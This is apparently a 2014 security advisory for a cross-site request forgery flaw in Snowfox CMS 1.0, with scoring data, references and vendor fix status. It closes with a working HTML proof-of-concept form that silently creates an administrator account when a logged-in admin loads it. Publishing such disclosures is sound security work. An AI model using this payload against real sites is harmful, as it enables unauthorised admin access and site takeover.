Snowfox CMS v1.0 CSRF Add Admin Exploit

2014-11-1800:00:00

Gjoko Krstic

zeroscience.mk

CVSS2

6.8

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:M/Au:N/C:P/I:P/A:P

EPSS

0.008

Percentile

81.9%

JSON

Title: Snowfox CMS v1.0 CSRF Add Admin Exploit
Advisory ID: ZSL-2014-5205
Type: Local/Remote
Impact: Cross-Site Scripting
Risk: (3/5)
Release Date: 18.11.2014

Summary

Snowfox is an open source Content Management System (CMS) that allows your website users to create and share content based on permission configurations.

Description

Snowfox CMS suffers from a cross-site request forgery vulnerabilities. The application allows users to perform certain actions via HTTP requests without performing any validity checks to verify the requests. This can be exploited to perform certain actions with administrative privileges if a logged-in user visits a malicious web site.

Vendor

Globiz Solutions - <http://www.snowfoxcms.org>

Affected Version

1.0

Tested On

Apache/2.4.7 (Win32)
PHP/5.5.6
MySQL 5.6.14

Vendor Status

[20.11.2014] Vendor releases version 1.0.10 to address this issue.

PoC

snowfox_csrf.html

Credits

Vulnerability discovered by Gjoko Krstic - <[email protected]>

References

[1] <http://cxsecurity.com/issue/WLB-2014110126>
[2] <http://packetstormsecurity.com/files/129164>
[3] <http://www.securityfocus.com/bid/71175>
[4] <http://www.exploit-db.com/exploits/35301/>
[5] <http://xforce.iss.net/xforce/xfdb/98815>
[6] <http://osvdb.org/show/osvdb/114819>
[7] <https://github.com/GlobizSolutions/snowfox/releases>
[8] <http://cve.mitre.org/cgi-bin/cvename.cgi?name=2014-9344>
[9] <http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-9344>

Changelog

[18.11.2014] - Initial release
[19.11.2014] - Added reference [1], [2] and [3]
[20.11.2014] - Added vendor status and reference [4], [5], [6] and [7]
[09.12.2014] - Added reference [8] and [9]

Contact

Zero Science Lab

Web: <http://www.zeroscience.mk>
e-mail: [email protected]

<!--

Snowfox CMS v1.0 CSRF Add Admin Exploit


Vendor: Globiz Solutions
Product web page: http://www.snowfoxcms.org
Affected version: 1.0

Summary: Snowfox is an open source Content Management System (CMS)
that allows your website users to create and share content based
on permission configurations.

Desc: Snowfox CMS suffers from a cross-site request forgery
vulnerabilities. The application allows users to perform certain
actions via HTTP requests without performing any validity checks
to verify the requests. This can be exploited to perform certain
actions with administrative privileges if a logged-in user visits
a malicious web site.

Tested on: Apache/2.4.7 (Win32)
           PHP/5.5.6
           MySQL 5.6.14


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2014-5205
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2014-5205.php



12.11.2014

--><html>
<body>
<form action="http://10.0.18.3/snowfox/?uri=admin/accounts/create" method="POST">
<input name="emailAddress" type="hidden" value="[email protected]"/>
<input name="verifiedEmail" type="hidden" value="verified"/>
<input name="username" type="hidden" value="USERNAME"/>
<input name="newPassword" type="hidden" value="PASSWORD"/>
<input name="confirmPassword" type="hidden" value="PASSWORD"/>
<input name="userGroups[]" type="hidden" value="34"/>
<input name="userGroups[]" type="hidden" value="33"/>
<input name="memo" type="hidden" value="CSRFmemo"/>
<input name="status" type="hidden" value="1"/>
<input name="formAction" type="hidden" value="submit"/>
<input type="submit" value="Submit form"/>
</form>
</body>
</html>